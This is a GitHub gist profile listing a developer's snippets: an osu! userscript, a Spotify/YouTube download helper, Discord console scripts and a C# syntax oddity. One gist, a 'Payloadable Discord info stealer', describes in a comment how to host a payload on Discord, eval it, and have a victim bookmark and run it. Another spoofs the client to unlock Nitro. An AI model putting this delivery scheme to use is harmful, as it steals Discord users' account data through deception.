Skip to content

Instantly share code, notes, and snippets.

View oSumAtrIX's full-sized avatar
🔲
osumatrix.me

oSumAtrIX

🔲
osumatrix.me
View GitHub Profile
@oSumAtrIX
oSumAtrIX / osum!direct-web.user.js
Last active April 13, 2024 12:41
Tampermonkey script for osum!direct web functionality
// ==UserScript==
// @name osum!direct-web
// @version 1.4
// @description Modify the direct beatmap download button on the osu! site to support the custom osu protocol handler without osu!supporter
// @author oSumAtrIX
// @include https://osu.ppy.sh/*
// ==/UserScript==
(() => {
'use strict';
@oSumAtrIX
oSumAtrIX / README.md
Last active January 7, 2024 00:07
Scripts to download titles on YouTube of Spotify with DownOnSpot

DownOnSpot protocol handler

Scripts to download titles on YouTube from Spotify with DownOnSpot.

Usage/ Installation

  1. Install the user script downonspot.userscript.js
  2. Put launch.ps1 next to the down_on_spot assembly or edit the path
  3. Add protocol handler associations with protocol_handler.reg. Replace the path to launch.ps1 to point to the right folder.
@oSumAtrIX
oSumAtrIX / README.md
Last active April 30, 2024 20:38
Useful snippets for Discord

Discord console scripts

My collection of scripts for Discord.

Scripts

  • friend_invitelink.js: Generate a friend invite link
  • clientside_nitro.js: Spoof the client and enable client side Discord Nitro
@oSumAtrIX
oSumAtrIX / index.html
Last active December 25, 2022 01:09
Payloadable Discord info stealer
<!--
- Author: oSumAtrIX
- Website: https://osumatrix.me
- Date: 2022-04-29
- License: GPL-3.0
- Description:
- Example page responsible to deliver the payload. Due to the CSP mechanism of browsers, the payload has to be delivered from the Discord domain.
Upload `payload.txt.js` as an attached text file in a message on Discord and add it below to fetch and eval the payload.
The victim is instructed to bookmark the href. Opening the bookmark will execute the script.
-->
@oSumAtrIX
oSumAtrIX / ConfusingSyntaxError.cs
Last active September 30, 2023 22:29
Shenanigans with Roslyn and the C# type checker
int a = 1, b = 2, c = 3;
System.Console.WriteLine(
"{0} {1}",
a < b,
c > (1 + 2)
);